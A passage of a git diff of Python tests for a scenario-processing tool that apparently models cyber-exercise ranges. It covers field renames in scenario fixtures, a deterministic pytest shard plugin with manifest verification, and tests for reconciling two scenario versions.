dataclass_fields(RuntimeSnapshot)} + assert len(classified) == len(_BACKEND_MAPPING_FIELDS) + len(_BACKEND_VALUE_FIELDS) + len( + _PROTECTED_SCHEDULER_FIELDS + ) actual_protected_fields = _PROTECTED_SCHEDULER_FIELDS assert actual_protected_fields == { + "time_model_state", + "materialization_attestations", + "mixed_composition_history", + "mixed_composition_states", "participant_autonomous_execution_states", + "participant_control_evaluation_history", "participant_execution_services", + "participant_outcome_history", } diff --git a/implementations/python/tests/test_participant_interactive_access.py b/implementations/python/tests/test_participant_interactive_access.py index f5321dea5..deea3e86c 100644 --- a/implementations/python/tests/test_participant_interactive_access.py +++ b/implementations/python/tests/test_participant_interactive_access.py @@ -51,7 +51,7 @@ def _scenario(*, access: str = "") -> str: role: blue agents: blue-participant: - entity: blue-team + affiliations: [blue-team] starting_accounts: [operator] """ ) @@ -203,7 +203,7 @@ def test_same_target_channel_is_valid_for_different_participants() -> None: textwrap.dedent( """ peer-participant: - entity: blue-team + affiliations: [blue-team] starting_accounts: [operator] interactive_access: peer-shell: {target_ref: workstation, channel: ssh, account_ref: operator} @@ -291,7 +291,7 @@ def test_module_composition_rewrites_bare_and_qualified_access_refs(tmp_path: Pa team: {role: blue} agents: operator: - entity: team + affiliations: [team] starting_accounts: [login] interactive_access: shell: {target_ref: vm, channel: ssh, account_ref: login} diff --git a/implementations/python/tests/test_proposition_semantics.py b/implementations/python/tests/test_proposition_semantics.py index 28bbc195c..d76196f8a 100644 --- a/implementations/python/tests/test_proposition_semantics.py +++ b/implementations/python/tests/test_proposition_semantics.py @@ -343,7 +343,7 @@ def _semantic_scenario(*, success_assertion: str = "service-ready") -> str: assertions: [service-observed] objectives: restore-service: - entity: blue + owner: blue targets: [nodes.web] success: assertions: [{success_assertion}] diff --git a/implementations/python/tests/test_pytest_shard.py b/implementations/python/tests/test_pytest_shard.py new file mode 100644 index 000000000..57bc0e848 --- /dev/null +++ b/implementations/python/tests/test_pytest_shard.py @@ -0,0 +1,339 @@ +"""Tests for the deterministic CI shard partition, manifests, and reducer.""" + +from __future__ import annotations + +import json +from pathlib import Path + +import pytest +from tools import pytest_shard_plugin +from tools.pytest_shard import ( + MAX_SHARD_COUNT, + SHARD_ALGORITHM_VERSION, + ShardConfigurationError, + ShardManifest, + ShardManifestError, + owned_nodeids, + read_manifest, + shard_for_nodeid, + validate_shard_count, + validate_shard_index, + verify_shard_partition, + write_manifest, +) + +_SUITE = [f"tests/test_module_{index % 7}.py::test_case_{index}" for index in range(400)] +_PARAMETRIZED = [f"tests/test_p.py::test_x[{value}-{value * 2}]" for value in range(50)] + + +def _manifests(nodeids: list[str], shard_count: int, *, source_sha: str = "abc") -> list[ShardManifest]: + return [ + ShardManifest( + algorithm_version=SHARD_ALGORITHM_VERSION, + source_sha=source_sha, + suite_expression="not fuzz and not integration and not docker", + shard_count=shard_count, + shard_index=index, + node_ids=tuple(owned_nodeids(nodeids, shard_count, index)), + ) + for index in range(shard_count) + ] + + +def test_partition_is_stable_and_within_bounds() -> None: + for nodeid in _SUITE: + first = shard_for_nodeid(nodeid, 4) + assert first == shard_for_nodeid(nodeid, 4) + assert 0 <= first < 4 + + +def test_partition_is_independent_of_input_order() -> None: + forward = {index: set(owned_nodeids(_SUITE, 8, index)) for index in range(8)} + reversed_suite = list(reversed(_SUITE)) + backward = {index: set(owned_nodeids(reversed_suite, 8, index)) for index in range(8)} + assert forward == backward + + +def test_partition_covers_every_node_exactly_once() -> None: + buckets = [set(owned_nodeids(_SUITE, 5, index)) for index in range(5)] + union: set[str] = set() + for bucket in buckets: + assert not (union & bucket) + union |= bucket + assert union == set(_SUITE) + + +def test_changing_shard_count_reassigns_without_a_table() -> None: + four = {nodeid: shard_for_nodeid(nodeid, 4) for nodeid in _SUITE} + six = {nodeid: shard_for_nodeid(nodeid, 6) for nodeid in _SUITE} + assert set(four.values()) <= set(range(4)) + assert set(six.values()) <= set(range(6)) + # A different modulus must actually move some ownership. + assert four != six + + +def test_parametrized_node_ids_partition_and_verify() -> None: + manifests = _manifests(_PARAMETRIZED, 3) + verify_shard_partition(manifests, _PARAMETRIZED, shard_count=3, source_sha="abc") + + +@pytest.mark.parametrize("bad", [0, -1, MAX_SHARD_COUNT + 1, True, 2.0, "4"]) +def test_validate_shard_count_rejects_out_of_bounds(bad: object) -> None: + with pytest.raises(ShardConfigurationError): + validate_shard_count(bad) + + +@pytest.mark.parametrize("bad_index", [-1, 4, True, 1.0]) +def test_validate_shard_index_rejects_out_of_bounds(bad_index: object) -> None: + with pytest.raises(ShardConfigurationError): + validate_shard_index(bad_index, 4) + + +def test_shard_for_nodeid_rejects_empty_nodeid() -> None: + with pytest.raises(ShardConfigurationError): + shard_for_nodeid("", 4) + + +def test_manifest_round_trips_through_disk(tmp_path: Path) -> None: + manifest = _manifests(_SUITE, 4)[2] + path = tmp_path / "shard-2.json" + write_manifest(path, manifest) + assert read_manifest(path) == manifest + + +def test_read_manifest_rejects_malformed_json(tmp_path: Path) -> None: + path = tmp_path / "broken.json" + path.write_text("{not json", encoding="utf-8") + with pytest.raises(ShardManifestError): + read_manifest(path) + + +def test_manifest_from_dict_requires_fields() -> None: + with pytest.raises(ShardManifestError): + ShardManifest.from_dict({"shard_index": 0}) + with pytest.raises(ShardManifestError): + ShardManifest.from_dict("not a mapping") + + +def test_verify_accepts_a_complete_disjoint_partition() -> None: + verify_shard_partition(_manifests(_SUITE, 4), _SUITE, shard_count=4, source_sha="abc") + + +def test_verify_rejects_missing_shard_index() -> None: + manifests = _manifests(_SUITE, 4)[:-1] + with pytest.raises(ShardManifestError, match="complete set"): + verify_shard_partition(manifests, _SUITE, shard_count=4) + + +def test_verify_rejects_duplicate_shard_index() -> None: + manifests = _manifests(_SUITE, 4) + manifests.append(manifests[0]) + with pytest.raises(ShardManifestError, match="complete set"): + verify_shard_partition(manifests, _SUITE, shard_count=4) + + +def test_verify_rejects_overlapping_shards() -> None: + manifests = _manifests(_SUITE, 4) + stolen = manifests[1].node_ids[0] + manifests[0] = ShardManifest( + algorithm_version=manifests[0].algorithm_version, + source_sha=manifests[0].source_sha, + suite_expression=manifests[0].suite_expression, + shard_count=4, + shard_index=0, + node_ids=(*manifests[0].node_ids, stolen), + ) + with pytest.raises(ShardManifestError, match="overlaps|does not own"): + verify_shard_partition(manifests, _SUITE, shard_count=4) + + +def test_verify_rejects_misowned_node() -> None: + manifests = _manifests(_SUITE, 4) + foreign = next(nodeid for nodeid in _SUITE if shard_for_nodeid(nodeid, 4) != 0) + manifests[0] = ShardManifest( + algorithm_version=manifests[0].algorithm_version, + source_sha=manifests[0].source_sha, + suite_expression=manifests[0].suite_expression, + shard_count=4, + shard_index=0, + node_ids=(foreign,), + ) + with pytest.raises(ShardManifestError): + verify_shard_partition(manifests, _SUITE, shard_count=4) + + +def test_verify_rejects_union_missing_a_test() -> None: + manifests = _manifests(_SUITE, 4) + with pytest.raises(ShardManifestError, match="missing"): + verify_shard_partition(manifests, [*_SUITE, "tests/test_new.py::test_added"], shard_count=4) + + +def test_verify_rejects_duplicate_canonical_ids() -> None: + manifests = _manifests(_SUITE, 4) + with pytest.raises(ShardManifestError, match="duplicate"): + verify_shard_partition(manifests, [*_SUITE, _SUITE[0]], shard_count=4) + + +def test_verify_rejects_empty_canonical() -> None: + manifests = _manifests([], 1) + with pytest.raises(ShardManifestError, match="empty"): + verify_shard_partition(manifests, [], shard_count=1) + + +def test_verify_rejects_algorithm_version_drift() -> None: + manifests = _manifests(_SUITE, 2) + manifests[0] = ShardManifest( + algorithm_version="sha256-nodeid-v0", + source_sha=manifests[0].source_sha, + suite_expression=manifests[0].suite_expression, + shard_count=2, + shard_index=0, + node_ids=manifests[0].node_ids, + ) + with pytest.raises(ShardManifestError, match="algorithm"): + verify_shard_partition(manifests, _SUITE, shard_count=2) + + +def test_verify_rejects_source_sha_drift() -> None: + manifests = _manifests(_SUITE, 2, source_sha="abc") + with pytest.raises(ShardManifestError, match="source"): + verify_shard_partition(manifests, _SUITE, shard_count=2, source_sha="def") + + +def test_verify_rejects_shard_count_drift() -> None: + manifests = _manifests(_SUITE, 2) + manifests[0] = ShardManifest( + algorithm_version=manifests[0].algorithm_version, + source_sha=manifests[0].source_sha, + suite_expression=manifests[0].suite_expression, + shard_count=3, + shard_index=0, + node_ids=manifests[0].node_ids, + ) + with pytest.raises(ShardManifestError, match="shard_count"): + verify_shard_partition(manifests, _SUITE, shard_count=2) + + +# --- plugin wiring ------------------------------------------------------------- + + +class _StubGroup: + def __init__(self) -> None: + self.options: list[tuple[tuple[object, ...], dict[str, object]]] = [] + + def addoption(self, *args: object, **kwargs: object) -> None: + self.options.append((args, kwargs)) + + +class _StubParser: + def __init__(self) -> None: + self.group = _StubGroup() + + def getgroup(self, *_args: object, **_kwargs: object) -> _StubGroup: + return self.group + + +class _StubHook: + def __init__(self) -> None: + self.deselected: list[object] = [] + + def pytest_deselected(self, items: list[object]) -> None: + self.deselected.extend(items) + + +class _StubItem: + def __init__(self, nodeid: str) -> None: + self.nodeid = nodeid + + +class _StubConfig: + def __init__(self, options: dict[str, object], *, worker: bool = False) -> None: + self._options = options + self.hook = _StubHook() + if worker: + self.workerinput = {"workerid": "gw0"} + + def getoption(self, name: str) -> object: + return self._options.get(name) + + +def _shard_options(**overrides: object) -> dict[str, object]: + options = { + "raes_shard_count": None, + "raes_shard_index": None, + "raes_shard_manifest": None, + "raes_shard_source_sha": "", + "raes_shard_suite_expression": "", + } + options.update(overrides) + return options + + +def test_plugin_registers_every_shard_option() -> None: + parser = _StubParser() + pytest_shard_plugin.pytest_addoption(parser) + dests = {kwargs.get("dest") for _args, kwargs in parser.group.options} + assert { + "raes_shard_count", + "raes_shard_index", + "raes_shard_manifest", + "raes_shard_source_sha", + "raes_shard_suite_expression", + } <= dests + + +def test_plugin_is_inert_without_shard_options() -> None: + config = _StubConfig(_shard_options()) + items = [_StubItem(nodeid) for nodeid in _SUITE] + original = list(items) + pytest_shard_plugin.pytest_collection_modifyitems(config, items) + assert items == original + assert config.hook.deselected == [] + + +def test_plugin_requires_both_count_and_index() -> None: + config = _StubConfig(_shard_options(raes_shard_count=4)) + items = [_StubItem("tests/test_a.py::test_b")] + with pytest.raises(pytest.UsageError): + pytest_shard_plugin.pytest_collection_modifyitems(config, items) + + +def test_plugin_selects_owned_and_writes_manifest(tmp_path: Path) -> None: + manifest_path = tmp_path / "shard-1.json" + config = _StubConfig( + _shard_options( + raes_shard_count=4, + raes_shard_index=1, + raes_shard_manifest=str(manifest_path), + raes_shard_source_sha="deadbeef", + raes_shard_suite_expression="not fuzz", + ) + ) + items = [_StubItem(nodeid) for nodeid in _SUITE] + pytest_shard_plugin.pytest_collection_modifyitems(config, items) + + expected = set(owned_nodeids(_SUITE, 4, 1)) + assert {item.nodeid for item in items} == expected + assert {item.nodeid for item in config.hook.deselected} == set(_SUITE) - expected + + recorded = json.loads(manifest_path.read_text(encoding="utf-8")) + assert recorded["shard_index"] == 1 + assert recorded["shard_count"] == 4 + assert recorded["source_sha"] == "deadbeef" + assert set(recorded["node_ids"]) == expected + + +def test_plugin_writes_complete_manifest_under_xdist_worker(tmp_path: Path) -> None: + # Regression for the xdist manifest lifecycle: collection runs in each worker + # (all carry workerinput) over the full suite, so a worker must still write + # the complete owned manifest. A workerinput guard would suppress it entirely + # and the required upload would then fail closed. + manifest_path = tmp_path / "shard-worker.json" + config = _StubConfig( + _shard_options(raes_shard_count=2, raes_shard_index=0, raes_shard_manifest=str(manifest_path)), + worker=True, + ) + pytest_shard_plugin.pytest_collection_modifyitems(config, [_StubItem(nodeid) for nodeid in _SUITE]) + assert manifest_path.exists() + recorded = json.loads(manifest_path.read_text(encoding="utf-8")) + assert set(recorded["node_ids"]) == set(owned_nodeids(_SUITE, 2, 0)) diff --git a/implementations/python/tests/test_realization_envelope_contract.py b/implementations/python/tests/test_realization_envelope_contract.py index 61d3c4419..2c49f358c 100644 --- a/implementations/python/tests/test_realization_envelope_contract.py +++ b/implementations/python/tests/test_realization_envelope_contract.py @@ -294,6 +294,7 @@ def test_manifest_plan_and_snapshot_publish_the_same_typed_identity(): def test_local_control_plane_store_roundtrips_envelope_identity(tmp_path): identity = BackendRealizationEnvelopeModel.model_validate(_payload()).identity store = LocalControlPlaneStore(tmp_path / "store") + store.admit_runtime(target_scope="target:stub", run_scope="run:test") store.save_snapshot( RuntimeSnapshot(realization_envelope=identity), diff --git a/implementations/python/tests/test_realization_honesty_conformance.py b/implementations/python/tests/test_realization_honesty_conformance.py index 49f8a8af1..c76f8d97c 100644 --- a/implementations/python/tests/test_realization_honesty_conformance.py +++ b/implementations/python/tests/test_realization_honesty_conformance.py @@ -310,6 +310,22 @@ def test_positive_probe_enforces_declared_daemon_or_guest_strength( assert strong.passed is True +@pytest.mark.parametrize( + "required,actual", + [ + (ObservationStrength.DAEMON_OBSERVED, ObservationStrength.GUEST_OBSERVED), + (ObservationStrength.GUEST_OBSERVED, ObservationStrength.DAEMON_OBSERVED), + (ObservationStrength.DRIVER_REPORTED, ObservationStrength.DAEMON_OBSERVED), + ], +) +def test_conformance_rejects_different_source_even_when_formerly_ranked_stronger(required, actual): + report = _run(_ScriptedHarness(observation_strength=actual), envelope=_constructive_envelope(strength=required)) + assert not report.passed + assert "conformance.observation-strength-insufficient" in { + diagnostic.code for case in report.cases for diagnostic in case.diagnostics + } + + @pytest.mark.parametrize( ("fault", "code"), [ diff --git a/implementations/python/tests/test_reconciliation_demonstration.py b/implementations/python/tests/test_reconciliation_demonstration.py new file mode 100644 index 000000000..42293821b --- /dev/null +++ b/implementations/python/tests/test_reconciliation_demonstration.py @@ -0,0 +1,488 @@ +"""Tests for the reconciliation demonstration harness (issue #610).""" + +from __future__ import annotations + +import json +from dataclasses import replace +from pathlib import Path + +import pytest +from paths import EXAMPLES_DIR +from raes_backend_protocols.capabilities import BackendManifest +from raes_backend_protocols.manifest import backend_manifest_payload +from raes_backend_stubs.manifest import create_stub_manifest +from raes_cli.main import app +from raes_contracts.domain_profiles import ( + DomainProfileBindingBasis, + DomainProfileBindingModel, + DomainProfileBindingOwnerModel, + DomainProfileBindingProvenanceModel, + DomainProfileBindingUse, + DomainProfileCoordinateModel, +) +from raes_contracts.planning import ChangeAction, RuntimeDomain +from raes_processor.reconciliation_demonstration import ( + PLANNED_STATE_PROJECTION, + ReconciliationInputError, + ReconciliationStatus, + ScenarioVersion, + ScenarioVersionRejected, + planned_state_snapshot, + reconcile_scenario_versions, +) +from raes_processor.reference import run_reference_processor +from typer.testing import CliRunner + +_BASELINE = EXAMPLES_DIR / "reconciliation-demo-v1.sdl.yaml" +_CANDIDATE = EXAMPLES_DIR / "reconciliation-demo-v2.sdl.yaml" + + +def _manifest_without_switch_support() -> BackendManifest: + """A manifest that turns the demo's `lab` network into a capability gap.""" + + manifest = create_stub_manifest() + capabilities = manifest.capabilities + return replace( + manifest, + capabilities=replace( + capabilities, + provisioner=replace(capabilities.provisioner, supported_node_types=frozenset({"compute"})), + ), + ) + + +def _candidate_with_unsupported_operating_system(tmp_path: Path) -> Path: + """A candidate that plans but carries an error diagnostic. + + The dry-run stub declares no operating-system compatibility rows, so a node + that pins a distribution and version is a realization gap rather than a + parse failure. + """ + + source = _CANDIDATE.read_text(encoding="utf-8") + pinned = source.replace( + """ cache: + type: compute + resources: +""", + """ cache: + type: compute + os: linux + os_distribution: ubuntu + os_version: "22.04" + resources: +""", + ) + assert pinned != source + path = tmp_path / "reconciliation-demo-v2-unsupported.sdl.yaml" + path.write_text(pinned, encoding="utf-8") + return path + + +def _profile_binding() -> DomainProfileBindingModel: + """A minimal typed profile binding for projection-fidelity assertions.""" + + return DomainProfileBindingModel( + binding_id="reconciliation-demo-binding", + coordinate=DomainProfileCoordinateModel( + namespace="org.openrae.test", + authority="https://openrae.org/profiles", + profile_id="reconciliation-demo", + revision="1.0.0", + definition_digest="sha256:" + "0" * 64, + ), + owner=DomainProfileBindingOwnerModel( + owning_contract_id="provisioning-plan/v1", + canonical_address="#/provisioning/resources", + concept_family="assets", + lifecycle_phase="planning", + context="reconciliation-demonstration", + use=DomainProfileBindingUse.CONSTRAINT, + ), + value={"substrate": "demonstration"}, + provenance=DomainProfileBindingProvenanceModel( + basis=DomainProfileBindingBasis.AUTHOR_SUPPLIED, + source_ref="urn:example:reconciliation-demo", + ), + ) + + +def _baseline_plan(): + result = run_reference_processor(_BASELINE, create_stub_manifest()) + assert result.is_valid, [diagnostic.code for diagnostic in result.diagnostics] + return result.execution_plan + + +def test_projection_covers_every_planned_domain() -> None: + snapshot = planned_state_snapshot(_baseline_plan()) + + domains = {entry.domain for entry in snapshot.entries.values()} + assert domains == { + RuntimeDomain.PROVISIONING, + RuntimeDomain.ORCHESTRATION, + RuntimeDomain.EVALUATION, + } + # Assumed state, not execution evidence: no entry claims it was applied. + assert {entry.status for entry in snapshot.entries.values()} == {PLANNED_STATE_PROJECTION} + + +def test_projection_preserves_reconciliation_identity() -> None: + """Replanning the baseline against its own projection must be a no-op. + + ``_entry_matches_resource`` compares domain, profile bindings, resource + type, payload, and both dependency sets, so any field the projection drops + shows up here as a spurious ``update``. + """ + + snapshot = planned_state_snapshot(_baseline_plan()) + + replanned = run_reference_processor(_BASELINE, create_stub_manifest(), base_snapshot=snapshot) + + assert replanned.is_valid + actions = { + operation.action + for domain_plan in ( + replanned.execution_plan.provisioning, + replanned.execution_plan.orchestration, + replanned.execution_plan.evaluation, + ) + for operation in domain_plan.operations + } + assert actions == {ChangeAction.UNCHANGED} + + +def test_projection_preserves_dependencies() -> None: + execution_plan = _baseline_plan() + + snapshot = planned_state_snapshot(execution_plan) + + for domain_plan in ( + execution_plan.provisioning, + execution_plan.orchestration, + execution_plan.evaluation, + ): + for address, resource in domain_plan.resources.items(): + entry = snapshot.entries[address] + assert entry.resource_type == resource.resource_type + assert entry.ordering_dependencies == resource.ordering_dependencies + assert entry.refresh_dependencies == resource.refresh_dependencies + # The fixture is only a real oracle for dependencies if it declares some. + assert any(entry.ordering_dependencies for entry in snapshot.entries.values()) + assert any(entry.refresh_dependencies for entry in snapshot.entries.values()) + + +def test_projection_carries_non_empty_profile_bindings() -> None: + """Profile bindings are part of reconciliation identity, so they must survive. + + The example pair declares none, so comparing the projection against the + fixture would still pass if the projection dropped bindings entirely. + Inject one and prove it is carried, and that an unbound resource does not + inherit it. + """ + + execution_plan = _baseline_plan() + address = "provision.node.web" + binding = _profile_binding() + bound_resources = dict(execution_plan.provisioning.resources) + bound_resources[address] = replace(bound_resources[address], profile_bindings=(binding,)) + bound_plan = replace( + execution_plan, + provisioning=replace(execution_plan.provisioning, resources=bound_resources), + ) + + snapshot = planned_state_snapshot(bound_plan) + + assert snapshot.entries[address].profile_bindings == (binding,) + assert snapshot.entries["provision.node.database"].profile_bindings == () + + +def test_projection_copies_payloads_away_from_the_plan() -> None: + execution_plan = _baseline_plan() + + snapshot = planned_state_snapshot(execution_plan) + + address = "provision.node.web" + entry = snapshot.entries[address] + assert entry.payload == execution_plan.provisioning.resources[address].payload + entry.payload["injected"] = "mutation" + assert "injected" not in execution_plan.provisioning.resources[address].payload + + +def test_projection_refuses_a_plan_reconciled_against_existing_state() -> None: + """The adapter drops deletes, which is only sound for an empty baseline.""" + + snapshot = planned_state_snapshot(_baseline_plan()) + chained = run_reference_processor(_CANDIDATE, create_stub_manifest(), base_snapshot=snapshot) + + with pytest.raises(ReconciliationInputError): + planned_state_snapshot(chained.execution_plan) + + +def _actions(demonstration) -> dict[str, ChangeAction]: + return {operation.address: operation.action for operation in demonstration.operations} + + +def test_identical_versions_reconcile_as_unchanged() -> None: + demonstration = reconcile_scenario_versions(_BASELINE, _BASELINE, create_stub_manifest()) + + assert demonstration.status is ReconciliationStatus.RECONCILED + assert set(demonstration.action_counts) == set(ChangeAction) + assert demonstration.action_counts[ChangeAction.CREATE] == 0 + assert demonstration.action_counts[ChangeAction.UPDATE] == 0 + assert demonstration.action_counts[ChangeAction.DELETE] == 0 + assert demonstration.action_counts[ChangeAction.UNCHANGED] == len(demonstration.operations) + + +def test_modified_version_reports_every_action_across_every_domain() -> None: + demonstration = reconcile_scenario_versions(_BASELINE, _CANDIDATE, create_stub_manifest()) + + assert demonstration.status is ReconciliationStatus.RECONCILED + assert demonstration.baseline_scenario_name == "reconciliation-demo" + assert demonstration.candidate_scenario_name == "reconciliation-demo" + + actions = _actions(demonstration) + assert actions["provision.node.cache"] is ChangeAction.CREATE + assert actions["provision.node.database"] is ChangeAction.UPDATE + assert actions["provision.node.retired"] is ChangeAction.DELETE + assert actions["provision.node.web"] is ChangeAction.UNCHANGED + assert actions["provision.network.lab"] is ChangeAction.UNCHANGED + + counts = demonstration.action_counts + assert counts[ChangeAction.CREATE] == 1 + assert counts[ChangeAction.DELETE] == 1 + assert sum(counts.values()) == len(demonstration.operations) + + # All three planned domains aggregate into one report. + assert {operation.domain for operation in demonstration.operations} == { + RuntimeDomain.PROVISIONING, + RuntimeDomain.ORCHESTRATION, + RuntimeDomain.EVALUATION, + } + assert { + operation.domain for operation in demonstration.operations if operation.action is ChangeAction.UNCHANGED + } == { + RuntimeDomain.PROVISIONING, + RuntimeDomain.ORCHESTRATION, + RuntimeDomain.EVALUATION, + } + + +def test_refresh_dependency_updates_a_resource_whose_payload_did_not_change() -> None: + """The case a payload-diff implementation gets wrong. + + ``evaluation.condition.database.health`` refresh-depends on the database + node. The node changes, so the condition reconciles as ``update`` even + though its own payload is byte-identical to the projected baseline entry. + """ + + demonstration = reconcile_scenario_versions(_BASELINE, _CANDIDATE, create_stub_manifest()) + + address = "evaluation.condition.database.health" + assert _actions(demonstration)[address] is ChangeAction.UPDATE + + candidate = run_reference_processor( + _CANDIDATE, create_stub_manifest(), base_snapshot=demonstration.baseline_snapshot + ) + replanned = next( + operation for operation in candidate.execution_plan.evaluation.operations if operation.address == address + ) + assert replanned.payload == demonstration.baseline_snapshot.entries[address].payload + + +def test_operations_keep_the_planner_apply_then_delete_ordering() -> None: + demonstration = reconcile_scenario_versions(_BASELINE, _CANDIDATE, create_stub_manifest()) + + provisioning = [ + operation for operation in demonstration.operations if operation.domain is RuntimeDomain.PROVISIONING + ] + expected = run_reference_processor( + _CANDIDATE, create_stub_manifest(), base_snapshot=demonstration.baseline_snapshot + ).execution_plan.provisioning.operations + assert [operation.address for operation in provisioning] == [operation.address for operation in expected] + + +def test_rejected_baseline_stops_before_projecting_or_planning_the_candidate() -> None: + demonstration = reconcile_scenario_versions(_BASELINE, _CANDIDATE, _manifest_without_switch_support()) + + assert demonstration.status is ReconciliationStatus.BASELINE_REJECTED + # Not "zero changes": nothing was computed at all. + assert demonstration.operations is None + assert demonstration.action_counts is None + assert demonstration.baseline_snapshot is None + assert demonstration.candidate_scenario_name is None + assert demonstration.candidate_diagnostics == () + assert any(diagnostic.is_error for diagnostic in demonstration.baseline_diagnostics) + + +def test_rejected_candidate_still_reports_its_operations(tmp_path: Path) -> None: + demonstration = reconcile_scenario_versions( + _BASELINE, + _candidate_with_unsupported_operating_system(tmp_path), + create_stub_manifest(), + ) + + assert demonstration.status is ReconciliationStatus.CANDIDATE_REJECTED + assert demonstration.operations + assert any(diagnostic.is_error for diagnostic in demonstration.candidate_diagnostics) + + +@pytest.mark.parametrize( + ("version", "broken_first"), + [(ScenarioVersion.BASELINE, True), (ScenarioVersion.CANDIDATE, False)], +) +def test_uncompilable_version_is_named_without_leaking_its_content( + tmp_path: Path, version: ScenarioVersion, broken_first: bool +) -> None: + broken = tmp_path / "broken.sdl.yaml" + broken.write_text("name: [unclosed SECRETMARKER\n", encoding="utf-8") + versions = (broken, _CANDIDATE) if broken_first else (_BASELINE, broken) + manifest = create_stub_manifest() + + with pytest.raises(ScenarioVersionRejected) as raised: + reconcile_scenario_versions(*versions, manifest) + + assert raised.value.version is version + assert "SECRETMARKER" not in str(raised.value) + + +def _invoke(*args: str): + return CliRunner().invoke(app, ["processor", "reconcile", *args]) + + +def _manifest_file(tmp_path: Path, *, supported_node_types: list[str] | None = None) -> Path: + payload = backend_manifest_payload(create_stub_manifest()) + if supported_node_types is not None: + payload["capabilities"]["provisioner"]["supported_node_types"] = supported_node_types + path = tmp_path / "manifest.json" + path.write_text(json.dumps(payload), encoding="utf-8") + return path + + +def test_reconcile_emits_the_documented_report_for_the_example_pair() -> None: + result = _invoke(str(_BASELINE), str(_CANDIDATE), "--format", "json") + + assert result.exit_code == 0, result.output + payload = json.loads(result.stdout) + assert set(payload) == { + "status", + "snapshot_kind", + "baseline", + "candidate", + "actions", + "operations", + } + assert payload["status"] == "reconciled" + assert payload["snapshot_kind"] == PLANNED_STATE_PROJECTION + assert payload["baseline"]["scenario_name"] == "reconciliation-demo" + assert payload["candidate"]["scenario_name"] == "reconciliation-demo" + + # All four counts are reported, including the ones that did not occur. + assert set(payload["actions"]) == {"create", "update", "delete", "unchanged"} + assert payload["actions"]["create"] == 1 + assert payload["actions"]["delete"] == 1 + assert sum(payload["actions"].values()) == len(payload["operations"]) + + actions = {operation["address"]: operation["action"] for operation in payload["operations"]} + assert actions["provision.node.cache"] == "create" + assert actions["provision.node.database"] == "update" + assert actions["evaluation.condition.database.health"] == "update" + assert actions["provision.node.retired"] == "delete" + assert actions["provision.node.web"] == "unchanged" + + snapshot = payload["baseline"]["snapshot"] + assert snapshot["entry_count"] == len(snapshot["entries"]) + web = next(entry for entry in snapshot["entries"] if entry["address"] == "provision.node.web") + assert web["domain"] == "provisioning" + assert web["resource_type"] == "node" + assert "provision.network.lab" in web["ordering_dependencies"] + assert web["profile_binding_ids"] == [] + + +def test_reconcile_report_carries_no_resource_payloads() -> None: + result = _invoke(str(_BASELINE), str(_CANDIDATE), "--format", "json") + + assert result.exit_code == 0 + # Authored payload values -- a network CIDR and a condition command -- are + # reachable from the plan but must not reach the report. + assert "10.10.0.0/24" not in result.stdout + assert "/bin/true" not in result.stdout + + +def test_reconcile_output_is_deterministic() -> None: + first = _invoke(str(_BASELINE), str(_CANDIDATE), "--format", "json") + second = _invoke(str(_BASELINE), str(_CANDIDATE), "--format", "json") + + assert first.exit_code == 0 + assert first.stdout == second.stdout + + +def test_reconcile_identical_versions_report_only_unchanged() -> None: + result = _invoke(str(_BASELINE), str(_BASELINE), "--format", "json") + + assert result.exit_code == 0 + payload = json.loads(result.stdout) + assert {operation["action"] for operation in payload["operations"]} == {"unchanged"} + assert payload["actions"]["create"] == 0 + assert payload["actions"]["update"] == 0 + assert payload["actions"]["delete"] == 0 + + +def test_reconcile_rejected_baseline_reports_no_action_report(tmp_path: Path) -> None: + manifest = _manifest_file(tmp_path, supported_node_types=["compute"]) + + result = _invoke(str(_BASELINE), str(_CANDIDATE), "--manifest", str(manifest), "--format", "json") + + assert result.exit_code == 1 + payload = json.loads(result.stdout) + assert payload["status"] == "baseline_rejected" + # Null, not zeroes: nothing was reconciled, so there is no delta to report. + assert payload["actions"] is None + assert payload["operations"] is None + assert payload["candidate"] is None + assert payload["baseline"]["snapshot"] is None + error_codes = { + diagnostic["code"] for diagnostic in payload["baseline"]["diagnostics"] if diagnostic["severity"] == "error" + } + assert "provisioner.unsupported-node-type" in error_codes + + +def test_reconcile_rejected_candidate_still_reports_operations(tmp_path: Path) -> None: + candidate = _candidate_with_unsupported_operating_system(tmp_path) + + result = _invoke(str(_BASELINE), str(candidate), "--format", "json") + + assert result.exit_code == 1 + payload = json.loads(result.stdout) + assert payload["status"] == "candidate_rejected" + assert payload["operations"] + assert any(diagnostic["severity"] == "error" for diagnostic in payload["candidate"]["diagnostics"]) + + +def test_reconcile_invalid_sdl_fails_without_partial_json(tmp_path: Path) -> None: + bad = tmp_path / "broken.sdl.yaml" + bad.write_text("name: [unclosed\n", encoding="utf-8") + + result = _invoke(str(bad), str(_CANDIDATE), "--format", "json") + + assert result.exit_code == 1 + assert result.stdout.strip() == "" + assert "could not compile" in result.stderr + assert result.stderr.count("\n") <= 1 + assert "Traceback" not in result.stderr + + +def test_reconcile_invalid_candidate_sdl_is_reported_against_its_own_path(tmp_path: Path) -> None: + bad = tmp_path / "broken-candidate.sdl.yaml" + bad.write_text("name: [unclosed\n", encoding="utf-8") + + result = _invoke(str(_BASELINE), str(bad), "--format", "json") + + assert result.exit_code == 1 + assert result.stdout.strip() == "" + assert "broken-candidate.sdl.yaml" in result.stderr + + +def test_reconcile_requires_explicit_format() -> None: + result = _invoke(str(_BASELINE), str(_CANDIDATE)) + + assert result.exit_code != 0 diff --git a/implementations/python/tests/test_reference_backend_components.py b/implementations/python/tests/test_reference_backend_components.py index a085890ef..d4217a8d9 100644 --- a/implementations/python/tests/test_reference_backend_components.py +++ b/implementations/python/tests/test_reference_backend_components.py @@ -42,7 +42,7 @@ blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: diff --git a/implementations/python/tests/test_reference_backend_docker_gate.py b/implementations/python/tests/test_reference_backend_docker_gate.py index 2e720ad3c..92430a96f 100644 --- a/implementations/python/tests/test_reference_backend_docker_gate.py +++ b/implementations/python/tests/test_reference_backend_docker_gate.py @@ -1,21 +1,37 @@ -"""Policy regressions for optional versus release-required Docker integration.""" +"""Policy regressions for optional versus release-required Docker integration. + +Two properties this file exists to hold apart: an *availability* failure may +skip an ordinary local run and must fail a release-required one, while an +*integrity* failure -- the runtime holding an image that is not the reviewed +one -- must fail in either mode. A skip that hides a substituted image would +make the release gate meaningless. +""" from __future__ import annotations -import subprocess -from typing import NoReturn +from types import SimpleNamespace import pytest import test_reference_backend_docker_integration as docker_integration +from tools import oci_release_image +from tools.oci_release_selection import LockedPlatformGraph, OciDescriptor -_REVIEWED_ALPINE_DIGEST = 